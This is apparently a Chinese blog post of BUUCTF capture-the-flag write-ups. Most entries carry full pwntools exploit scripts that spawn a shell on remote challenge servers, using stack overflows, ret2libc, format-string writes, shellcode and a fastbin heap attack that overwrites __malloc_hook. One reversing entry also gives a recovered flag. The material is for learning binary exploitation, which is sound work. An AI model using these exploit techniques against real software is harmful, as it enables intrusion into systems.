buuctf(pwn)

实践是检验真理的唯一标准。

pwn1_sctf_2016

1.找到漏洞的利用点往往才是困难点。(直接F5看看反汇编)
在这里插入图片描述发现两个可以函数跟进去看看
2.这里对反汇编出来的Vuln理解了半天(本还想从汇编直接分析,不过进展收获不大,欢迎有兴趣的朋友一起交流),下面还是从伪代码分析。
在这里插入图片描述通过这几行能看出最后A变成了B。即把YOU 换成了I。
因为上面是S的溢出点是3C,可fgets之读取了32并不会超过3C,但函数会把一个32个I换成32个YOU就达到了溢出点。

3.ret位置
在这里插入图片描述4.分析结束。2021.4.2

ciscn_2019_n_11

1.找利用点
在这里插入图片描述11.28125对应内存中16进制两种查看方法。
一,
在这里插入图片描述
二,明显的if…else反汇编代码
在这里插入图片描述CS:DWORD 4007F4即比较内容11.28125在内存中十六进制的存放
在这里插入图片描述

补充movss /ucomiss

movss相关的引入:
SSE – Streaming SIMD Extension,是Intel从PIII开始加入的一种x86扩展指令集。在SSE以前,x86的浮点运算都是以栈式FPU完成的,有一定x86汇编经验的人应该不会对那些复杂的fld、fst指令陌生吧。而SSE一方面让浮点运算可以像整数运算的模式、如 add eax , ebx 那样通过直接访问寄存器完成,绕开了讨厌的栈,另一方面引入了SIMD这个概念。SIMD – Single Instruction Multiply Data,顾名思义,它可以同时让一条指令在多个数据上执行,这种体系结构在一度在大型机上非常流行,需要经常进行海量运算的大型机器通常会通过一个数学SIMD虚拟机加快处理速度,比如同时让一组数据执行一个变换,数据的规模有上百万之巨,而SIMD则可以优化数据的存储与运算,减免某些切换Context的开销。

参考应该都在intel Ⅲ里面,想详细了解的可自行查看手册。

2.溢出距离
在这里插入图片描述3.完。2021.4.3

jarvisoj_level0

1.溢出栈空间
在这里插入图片描述2.ret函数
在这里插入图片描述

from pwn import * 
sh = remote('node3.buuoj.cn',29622)

payload = b'a'* 0x80 + p64(0xdeadbeef) + p64(0x400596)
sh.send(payload)
sh.interactive() 

3.完。2021.4.4

ciscn_2019_c_1

1.先看看程序运行过程
在这里插入图片描述2.没有已存在的可直接获得bash的函数
在这里插入图片描述
在这里插入图片描述3.64位调用传参顺序
寄存器rdi,rsi,rdx,rcd,r8,r9。
在这里插入图片描述

4.泄露puts函数,通过libc构造system系统调用。

5.关于64位system调用对齐问题。
参考1
参考2

6.exp

from pwn import *
from LibcSearcher import *

content = 0
context(os='linux', arch='amd64', log_level='debug')

ret = 0x4006b9      #靶机是ubuntu,所以需要栈平衡
elf = ELF('./demo2')

puts_plt = elf.plt["puts"] 
puts_got = elf.got['puts']
main_addr = elf.symbols["main"]

pop_rdi_ret = 0x400c83      #×64程序基本都存在的一个地址pop rdi;ret


def main():
	if content == 1:
		p = process('demo2')
	else:	
		p = remote('node3.buuoj.cn',27986)

	payload = b'a' * (0x50 + 8)
	payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
	
	p.sendlineafter('Input your choice!\n', '1')
	p.sendlineafter('Input your Plaintext to be encrypted\n', payload)

	p.recvuntil('Ciphertext\n')	
	p.recvline()
	puts_addr = u64(p.recv(7)[:-1].ljust(8,b'\x00'))
	print(puts_addr)      #找出puts的地址

	libc = LibcSearcher('puts', puts_addr)

	libc_base   = puts_addr - libc.dump('puts')      #找出函数地址偏移量
	system_addr = libc_base + libc.dump('system')      #计算出system的在程序中的地址
	binsh_addr  = libc_base + libc.dump('str_bin_sh')	

	payload = b'a' * (0x50 + 8)
	payload = payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)

	p.sendlineafter('Input your choice!\n', '1')
	p.sendlineafter('Input your Plaintext to be encrypted\n', payload)

	p.interactive()

main()

7.环境问题flag不知道怎么没出来(地址已经泄露出来了)。有知道怎么解决的教教孩子吧!!
在这里插入图片描述

8.补充:
exp里面指定libc ,加上libc = ELF(’./libc.xxx’)获得flag成功。
完。2021/4/5-6

babyrop

1.流程分析
在这里插入图片描述
在这里插入图片描述2.找到溢出点
在这里插入图片描述3.绕过比较
在这里插入图片描述4.exp

from pwn import *
from LibcSearcher import *
#p = process('./pwn')
elf=ELF('./pwn')
p = remote('node3.buuoj.cn',27069)

libc = ELF('./libc-2.23.so')		//指定libc
put_plt=elf.plt['puts']

put_got=elf.got['puts']

main_addr=0x8048825

payload='\x00'+'a'*6+'\xff'	//关键绕过

p.sendline(payload)

p.recvuntil('Correct\n')

payload1 = 'a'*0xe7+'a'*4+p32(put_plt)+p32(main_addr)+p32(put_got)

p.sendline(payload1)

put_addr = u32(p.recv(4))
print hex(put_addr)
libc=LibcSearcher('puts',put_addr)

libc_base=put_addr-libc.dump('puts')

system_addr=libc_base+libc.dump('system')

bin_sh_addr=libc_base+libc.dump('str_bin_sh')

p.sendline(payload)

p.recvuntil('Correct\n')

payload2='a'*0xe7+'b'*0x4

payload2 += p32(system_addr)*2+p32(bin_sh_addr)

p.sendline(payload2)

p.interactive()

[第五空间2019 决赛]PWN5

1.IDA查看
在这里插入图片描述

2.熟悉流程
在这里插入图片描述
3.

from  pwn import *
#p = process('./pwn5')
p = remote('node3.buuoj.cn',25392)
payload = p32(0x804c044)+ b'%10$n' 
p.recvuntil('your name:')
p.sendline(payload)

p.recvuntil('passwd:')
p.sendline(b'4')
p.interactive()

get_started_3dsctf_2016

在这里插入图片描述2.在这里插入图片描述
在这里插入图片描述

3.参考
三种EXP方法

ciscn_2019_en_2

请参考ciscn_2019_c_1,完全一样。

刮开有奖

它没让我刮开,hhh。
1.在这里插入图片描述2.
在这里插入图片描述放到C里面跑下,得出新值
3CEHJNSZagn即V7后面的10个数

在这里插入图片描述base64标志
在这里插入图片描述

4.逆推得出flag
str[0] = ‘3’+34=‘U’
str[1] =‘J’
str[2] = ‘W’
str[3] = ‘P’
在这里插入图片描述在这里插入图片描述总过flag8位
得出
flag{UJWP1jMp}

ciscn_2019_n_8

1.基操
在这里插入图片描述
在这里插入图片描述
2.QWORD 8字节
在这里插入图片描述3.exp

from pwn import *
sh = remote('node3.buuoj.cn',28951)
#sh = process('./cisn8')

payload = b'a'*13*4 + p64(0x11)	#0x11=17
sh.sendline(payload)
sh.interactive()

not_the_same_3dsctf_2016

1.IDA找到了相关flag函数
在这里插入图片描述
2.利用mprotect函数mprotect函数详解
exp如下:

from pwn import *

#p=process('./pwn')

elf=ELF('./not')

p=remote('node3.buuoj.cn',25316)

mprotect_addr=elf.sym["mprotect"]

read_plt=elf.sym["read"]

pop_3_ret=0x0809e3e5

pop_ret=0x08048b0b

m_start=0x080ec000

bss= 0x80ECA2D

len=0x2000

prot=7

payload_1="a"*45+p32(mprotect_addr)+p32(pop_3_ret)+p32(m_start)+p32(len)+p32(prot)

payload_1+=p32(read_plt)+p32(bss+0x400)+p32(0)+p32(bss+0x400)+p32(0x100)

p.sendline(payload_1)

payload_2=asm(shellcraft.sh(),arch = 'i386', os = 'linux')

p.sendline(payload_2)

bjdctf_2020_babystack

在这里插入图片描述
在这里插入图片描述

from pwn import *

#p=process('./bjd')

p=remote('node3.buuoj.cn',28431)

sys_addr=0x4006E6

payload='a'*24+p64(sys_addr)

p.recvuntil("Please input the length of your name:")

p.sendline(str(len(payload)))

p.recvuntil("What's u name?")

p.sendline(payload)

p.interactive()

[HarekazeCTF2019]baby_rop

from pwn import *

from LibcSearcher import LibcSearcher

#p=process('./babyrop2')

p=remote('node3.buuoj.cn',25002)

elf=ELF('./babyrop2')

read_got=elf.got['read']

printf_plt=elf.plt['printf']

main_addr=elf.sym['main']

format_addr=0x400770

payload='a'*40+p64(0x400733)+p64(format_addr)+p64(0x400731)+p64(read_got)+p64(0)

payload+=p64(printf_plt)+p64(main_addr)

p.sendlineafter("name?",payload)

p.recvuntil('!\n')

read_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))

libc=LibcSearcher("read",read_addr)

libc_base=read_addr-libc.dump('read')

sys_addr=libc_base+libc.dump("system")

binsh_addr=libc_base+libc.dump("str_bin_sh")

payload2='a'*40+p64(0x400733)+p64(binsh_addr)+p64(sys_addr)+p64(0)

p.sendline(payload2)

p.interactive()

jarvisoj_level2_x64

1,IDA F5
在这里插入图片描述
2,搜索SHIFT+F12字符串
在这里插入图片描述
3,溢出点
在这里插入图片描述
4,构造payload(64位传参方式)
在这里插入图片描述
5.exp

from pwn import *
p = remote("node4.buuoj.cn",25087)
sys_addr = 0x40063E
bin_sh = 0x600A90
pop_edi_ret =0x4006b3
payload = 0x88*'a'+p64(pop_edi_ret) + p64(bin_sh) + p64(sys_addr)

p.sendline(payload)
p.interactive()

ciscn_2019_n_5

1,查看文件
在这里插入图片描述
2,IDA查看
在这里插入图片描述
两次输入,read,gets获取用户输入。
3,name在bss段,gets控制流程跳转值read输入的shellcode。
在这里插入图片描述
text离ret偏移0x28。
在这里插入图片描述
4,exp(标准模板样式)

from pwn import *
from LibcSearcher import * 

local_file  = './ciscn_2019_n_5'
local_libc  = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
remote_libc = './libc.so.6'
 
 
select = 1

if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('node4.buuoj.cn', 28983)
    #libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims  			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

def debug(cmd=''):
     gdb.attach(r,cmd)

sh = asm(shellcraft.sh())
p1 = sh
sla('name\n', p1)
name_addr = 0x601080
p2 = flat(['a'*0x28, name_addr])
sla('me?\n', p2)

r.interactive()


ciscn_2019_ne_5

1,标配查看文件
在这里插入图片描述
2,IDA/运行
在这里插入图片描述

溢出位置
在这里插入图片描述
src来源(128字节)
在这里插入图片描述
在这里插入图片描述

3,找bin_sh有sh也行。

ROPgadget --binary ciscn_2019_ne_5  --string "sh"

在这里插入图片描述
4.exp

from pwn import *

r=remote('node4.buuoj.cn',29028)

sh = 0x080482ea
system=0x080484d0

r.sendlineafter('password:','administrator')
r.sendlineafter(':','1')	//写入payload
payload = 'a'*0x48 +p32(0xdeadbeef)+p32(system)+p32(0xdeadbeef)+p32(sh)
r.sendlineafter('info',payload)
r.sendlineafter(':','4')

r.interactive()

在这里插入图片描述

others_shellcode

nc 就有…

铁人三项(第五赛区)_2018_rop

1,直接进IDA,一道典型ret2libc题(思路简单,不过LibcSearcher不太好用,这里介绍利用pwntools的DynELF)在这里插入图片描述
在这里插入图片描述

无system,binsh。
有write和溢出的位置。

2.exp

from pwn import *
r=remote('node4.buuoj.cn',26124)

e=ELF('./2018_rop')
write_plt=e.plt['write']
read_plt=e.plt['read']
main_addr=e.symbols['main']
bss_addr=e.symbols['__bss_start']
def leak(address):
        payload1='a'*(0x88+0x4)+p32(write_plt)+p32(main_addr)+p32(0x1)+p32(address)+p32(0x4)
        r.sendline(payload1)
        leak_address=r.recv(4)
        return leak_address

d=DynELF(leak,elf=ELF('./2018_rop'))	//pwntool自带
sys_addr=d.lookup('system','libc')

payload2='a'*(0x88+0x4)+p32(read_plt)+p32(main_addr)+p32(0x0)+p32(bss_addr)+p32(0x8)
r.sendline(payload2)
r.sendline('/bin/sh')

payload3='a'*(0x88+0x4)+p32(sys_addr)+p32(main_addr)+p32(bss_addr)
r.sendline(payload3)

题外话:假如手动调试,暴露出got,然后得出libcbase的后三位要是000才是正确的基址(页对齐)。
在这里插入图片描述

bjdctf_2020_babyrop

1,还是一道rop的题目,思路同上,IDA里面没有可直接利用的system等。
在这里插入图片描述
可溢出的点
在这里插入图片描述
2,64位的软件,传参不同,ROPgadget找pop rid,构造exp如下

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
r=remote('node4.buuoj.cn',26505)
#r=process('./babyrop')
elf=ELF('./babyrop')
main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400733
payload='a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()
puts_addr=u64(r.recv(6).ljust(8,'\x00'))
print hex(puts_addr)
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
payload2='a'*40+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload2)

r.interactive()

本想用pwntools的DynELF模块做的,没成功,有知道的大师傅,可以交流交流。(已了解到的好像是PUTS会被00截断导致模块利用不成功)

babyheap_0ctf_2017(堆,fastbin_attack)

1,运行一遍,基本的堆题流程。

2,分析关键代码(等会我们调试时在内存中查看):
分配的大小不能超过 4096 字节

  • *(24LL * i + a1):置 1 表示 chunk 已经创建
  • *(a1 + 24LL * i + 8):存储 chunk 的大小
  • *(a1 + 24LL * i + 16):存储 chunk 的地址
    在这里插入图片描述
    利用思路:两次 double free 与 fastbin attack 。第一次先泄露 libc 地址,然后找到构造 fack chunk 的地址。第二次通过构造的 fack chunk 堆溢出覆写 __malloc_hook 完成 get shell 。
    泄露原理:unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ,所以得到这个fd的值,然后减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小,这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。

清楚理解:free chunk 和 allocated chunk时候。(两个chunk同一个地址,不同状态部分区域表示不同)
在这里插入图片描述
在这里插入图片描述
3,调试分析
在这里插入图片描述
3.1查看堆空间chunk结构
在这里插入图片描述
可以看出0x5628…10/30/50等是上述 *(a1 + 24LL * i + 16):存储 chunk 的地址,利用gdb中的find去查看相关mapped,并查看内存地址处内容。
在这里插入图片描述
发现正好对应allocated chunk的结构处地址。(这里也正是利用处,进行篡改内容)

3.2,同过free()使fastbin[]获得内容回收,然后fill()改变指针指向
在这里插入图片描述
再看一看这地址:
在这里插入图片描述
注意:每次这mapped的映射地址会变,但内容结构还是

  • *(24LL * i + a1):置 1 表示 chunk 已经创建
  • *(a1 + 24LL * i + 8):存储 chunk 的大小
  • *(a1 + 24LL * i + 16):存储 chunk 的地址

通过fill()进行修改*(a1 + 24LL * i + 16)处存的内容,即mem指向处,达到通过fill()改变chunk的结构中的内容。

在这里插入图片描述
3.3修改内容
此时的fastbin[0]->index2->index4
在这里插入图片描述
跟预测的一样,这里3p8通过结构的布局应该很容易理解了。
在这里插入图片描述
3.4把 chunk 2 的内容覆盖为 chunk 4 的地址,这样相当于 chunk 4 已经被 free 了而且被存放在 fastbin 中。(当chunk 4 被free了依然能通过chunk2 对 chunk4操作)。
简单理解:当前chunk2和chunk4指向同一个位置

注:这里还有个检查机制,要 malloc 回 chunk 4(重新fill()函数对chunk4大小内容修改,使其free()进unsort) ,可是 malloc fastbin 有检查, chunksize 必须与相应的 fastbin_index 匹配,所以我们覆盖 chunk 4 的 size 为 fastbin 大小。
在这里插入图片描述

3.5后面就是利用泄露出来的libc,同时一样控制修改流程,实现系统调用了。

目标是覆盖 __malloc_hook 函数,这样我们调用 malloc 时就相当于调用我们写入的内容。
后面可以参考(修改方式跟上面一样的):
https://www.cnblogs.com/luoleqi/p/12349714.html

在这里插入图片描述

下面这位置偏移就纯靠经验积累了(还是构造出上面结构:)

  • *(24LL * i + a1):置 1 表示 chunk 已经创建
  • *(a1 + 24LL * i + 8):存储 chunk 的大小
  • *(a1 + 24LL * i + 16):存储 chunk 的地址
    在这里插入图片描述

然后,把 chunk 4 malloc 回来,这次 malloc 的大小在 fastbin 之内,然后把 chunk 4 的内容改为我们下一个要构造块的地址(chunk 4 已经被 free 掉,所以无法用 fill(4) 写入,由于我们刚刚把 chunk 2 的 fd 指针改为 chunk 4 的地址,所以第一次 malloc(0x10) 的时候是分配的原来 chunk 2 的块给 index 1,第二次 malloc(0x10) 的时候就会分配 chunk 4 的块给 index 2,也就是说 index 2 与 index 4 的内容都是 chunk 4)。

在 __malloc_hook 地址处写入 one_gadget ,这样再次 allocate 就可以调用 one_gadget 拿 shell(相当于指针函数去实现调用)

注:malloc_hook 是一个libc上的函数指针,调用malloc时如果该指针不为空则执行它指向的函数,可以通过写malloc_hook来getshell
4,完整exp

from pwn import *

#p=remote('node4.buuoj.cn',29926)

p=process('./babyheap_0ctf_2017')
 
def allocate(size):
	p.recvuntil('Command: ')
	p.sendline('1')
	p.recvuntil('Size: ')
	p.sendline(str(size))

def fill(idx,content):
	p.recvuntil('Command: ')
	p.sendline('2')
	p.recvuntil('Index: ')
	p.sendline(str(idx))
	p.recvuntil('Size: ')
	p.sendline(str(len(content)))
	p.recvuntil('Content: ')
	p.send(content)

def free(idx):
	p.recvuntil('Command: ')
	p.sendline('3')
	p.recvuntil('Index: ')
	p.sendline(str(idx))

def dump(idx):
	p.recvuntil('Command: ')
	p.sendline('4')
	p.recvuntil('Index: ')
	p.sendline(str(idx))
	p.recvline()
	return p.recvline()




allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)

#gdb.attach(p)

free(1)
free(2)

#gdb.attach(p)
payload = p64(0) * 3
payload += p64(0x21)
payload += p64(0) * 3
payload += p64(0x21)
payload += p8(0x80)
fill(0,payload)

#gdb.attach(p)

payload = p64(0) * 3
payload += p64(0x21)
fill(3,payload)

#gdb.attach(p)

allocate(0x10)
allocate(0x10)
fill(1,'aaaa')
fill(2,'bbbb')
payload = p64(0) * 3
payload += p64(0x91)
fill(3,payload)
allocate(0x80)
free(4)

libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))

allocate(0x60)
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)

allocate(0x60)
allocate(0x60)
 
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)

gdb.attach(p)

allocate(255)

p.interactive()

pwn2_sctf_2016

1,int转unsigned int 大数变小数导致溢出
在这里插入图片描述
接收的输入是int,而下面判断的长度是unsigned int。
在这里插入图片描述
2,溢出位置
在这里插入图片描述
3,exp

from pwn import *
from LibcSearcher import *

r = remote("node4.buuoj.cn", 27654)
#r = process("./pwn2_sctf_2016")
elf = ELF("./pwn2_sctf_2016")
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main = 0x080485B8
print r.recvuntil("How many bytes do you want me to read? ")
r.sendline('-1')
print r.recvuntil('\n')
payload = 'a' * 0x30 + p32(printf_plt) + p32(main) + p32(printf_got)
r.sendline(payload)

print r.recvuntil('\n')
printf_addr = u32(r.recv(4))
print "printf:", hex(printf_addr)
libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
print "system:", hex(system)
print "bin_sh", hex(bin_sh)
print r.recvuntil("How many bytes do you want me to read? ")
r.sendline('-1')
print r.recvuntil('\n')
payload = 'a' * 0x30 + p32(system) + p32(main) + p32(bin_sh)
r.sendline(payload)
r.interactive()
                                                              1,0-1        顶端

jarvisoj_fm

1,格式化字符串利用,实现内存写入。
在这里插入图片描述
2,x == 4即可进入system调用。
实际运行X的值是3:
在这里插入图片描述
在这里插入图片描述
3,确认输入参数格式化字符的位置,需要利用此处重新填入修改x的地址(即0x0804A02C)。
确认方法:
输入:aaaa%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p

回显:
在这里插入图片描述
然后,数0x61616161是第几个0x位置。 得出是11。
注:aaaa即你要魔改的地方,填入x的位置的地址,然后利用%n的功能,修改此处的值。

在这里插入图片描述

4,exp

from pwn import *
p = remote("node4.buuoj.cn",28781)
x_addr=0x0804A02C
print hex(x_addr)
payload = p32(x_addr) + '%11$n'	#p32()得出的4字节大小被写入p32(x_addr)地址,也就是确定0x61616161位置的原因。
p.sendline(payload)
p.interactive()

ciscn_2019_s_3

1,一道__libc_csu_init辅助构造ROP。(也可以用SROP方法)
在这里插入图片描述

需要利用的位置。
2,两个可以利用的系统调用号。

  • 15 sys_rt_sigreturn

  • 59 sys_execve(两者选一个利用便可)
    在这里插入图片描述
    3,构造思路(这题是x64的传参方式)

      xor rax , rax --------------->将rax寄存器里的值设置为了0(任何一个数异或它本身都等于0)
      mov edx , 400h ------------->将edx寄存器的值设置为了0x400
      lea rsi , [rsp+buf] ----------->将buf参数的地址传入寄存器rsi
      mov rdi ,rax --------------->将rax寄存器里的值(0)传入rdi寄存器(将rdi设置为0)
      syscall------------------------->进行系统调用
    

4,利用write会泄露栈上的地址,我们需要根据泄露的地址来参考构造缓存区buff的偏移地址。(关键)
gdb调试技巧:

  • 首先必须清楚内存数据布局:
    局部变量往地址输入打印输出

在这里插入图片描述

  • pwndbg stack查看rsp上面的栈分布:

pwndbg的stack指令直接看到的就是rsp下面的栈分布,这个时候应该怎么办呢?以前学过用pwndbg给地址和寄存器赋值,代码是:

	Set *addr = value		//给地址赋值
	Set $rsp = value		//给寄存器赋值

1>gdb 断在0x400519位置处
在这里插入图片描述
在这里插入图片描述
2>此时栈顶rsp是write调用完,未指向buff的地址处。
利用小技巧,向上查看栈数据:

在这里插入图片描述
发现我们输入的aaaa出现,惊不惊喜,意不意外,哈哈哈其实都在预料之内。
0x7fffffffdcd0即为buff[]起始地址位置。
在这里插入图片描述
出现了两个栈上地址。
排除0x7fffffffdd00,原因:内存数据布局,往高地址输出,0x7fffffffdd00<0x7fffffffdcd0(buff起始地址)。
得出偏移 = 0x7fffffffdde8 - 0x7fffffffdcd0 = 0x118
为什么需要知道这个offset呢?
通过动态获取的buff起始地址在别的环境可能会由于随机化问题发生变法,但是offset是固定不变的。
5,exp

from pwn import *

#p=process('./ciscn_s_3')
p=remote('node4.buuoj.cn',28377 )
context.log_level = 'debug'

vlu=0x0004004ED
execv=0x04004E2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdxr13_call=0x0400580 
syscall=0x00400517

payload='/bin/sh\x00'*2+p64(vlu)
p.send(payload)
#gdb.attach(p)

p.recv(0x20)	#接收write前0x20个字节
sh=u64(p.recv(8))-280	#接收leak地址,通过offset得出buff起始地址
print(hex(sh))

pl2='/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(sh+0x58) + p64(0) *3
pl2+=p64(mov_rdxr13_call)+p64(execv)	#sh+0x58 下附说明
pl2+=p64(pop_rdi)+p64(sh)+p64(syscall)
p.send(pl2)

p.interactive()

在这里插入图片描述
说明:
在这里插入图片描述

bjdctf_2020_babystack2

思路:整型溢出qword -> dword + 栈溢出
1,IDA分析
在这里插入图片描述
执行程序可获知if判断:
在这里插入图片描述

在这里插入图片描述
system可利用:
在这里插入图片描述
2,exp

from pwn import *

#p = process('./bjdctf_2020_babystack2')
p = remote("node4.buuoj.cn",26101)
context.log_level='debug'
system = 0x0400726
p.recv()
p.sendline('-1')
p.recv()
payload = 'a'*0x10 + 'bbbbbbbb' + p64(system)
p.send(payload)
p.interactive()

[HarekazeCTF2019]baby_rop2

栈溢出+泄露libc地址调用system
1,64位程序,IDA分析
在这里插入图片描述
2,寻找64位传参rdi,rsi寄存器,构造rop链。
选取下面这两个位置的:
在这里插入图片描述
3,泄露read_got的地址。
在这里插入图片描述
然后再次构造payload 调用system(bin_sh)。
4,exp

from pwn import *
from LibcSearcher import *

context_debug_level = 'debug'

r = remote("node4.buuoj.cn", 28443)
#r = process("./babyrop2")
elf = ELF("./babyrop2")
#libc = ELF("./libc.so.6")
printf_plt = elf.plt['printf']
read_got = elf.got['read']
main = elf.sym['main']

pop_rdi_ret = 0x400733
pop_rsi_r15_ret = 0x400731
frm_str = 0x400770

payload = 'a'*0x28 + p64(pop_rdi_ret) + p64(frm_str) + p64(pop_rsi_r15_ret) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main)

print r.recvuntil("name? ")
r.sendline(payload)
read_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))	

print hex(read_addr)
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
print "system:", hex(system)
print "bin_sh", hex(bin_sh)


payload = 'a' * 0x28 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
r.sendline(payload)
r.interactive()

注解: read_addr = u64(r.recvuntil(’\x7f’)[-6:].ljust(8,’\x00’))
直到7f出现的位置作为终点,开始往前读6个字节数据,然后再8字节对齐,不足8位补\x00。
在这里插入图片描述

ciscn_2019_es_2

栈迁移考察
https://www.cnblogs.com/remon535/p/13507217.html
注:
1、read大小为0x30,s变量和ebp距离为0x28。只能覆盖ebp和ret,但是覆盖不到需要构造的/bin/sh参数 ,所以实际需要0x30+8。
其中多需要的8=deadbeef(填充的ret) + arg(/bin/sh)
2、首先利用printf获取上个栈帧的ebp。printf遇到00就会截断,把00填充了,printf就会顺便把ebp及遇到00前的数据都打印出来。
3、0x48-0x10等于s距ebp的偏移0x38
在这里插入图片描述
4、payload2=‘a’*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh"。
p32(ebp-0x28)+"/bin/sh"
p32(ebp-0x28):本来是/bin/sh的地址,但是程序中没有/bin/sh字符串存在,所以需要指向 ebp-0x28 =s的地址,后面就是输入的"/bin/sh"了。
在这里插入图片描述

jarvisoj_tell_me_something

注意下函数首部的代码与常见的方法不同,说到底还是多看汇编,少F5。
https://www.cnblogs.com/bhxdn/p/12307105.html

jarvisoj_level3

ret2libc3 无system,无binsh
https://www.cnblogs.com/yisicanmeng/articles/14579554.html

ez_pz_hackover_2016

ret2shellcode(没有任何写保护,具有可执行权限)

https://blog.csdn.net/mcmuyanga/article/details/108964698

1,绕过strcmp()
在这里插入图片描述2,
0x38-0x22=0x16
‘a’*(0x16-8+4)
gdb动态调一下,IDA不准

3,
p32(stack-0x1c)
在这里插入图片描述

  • 3
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值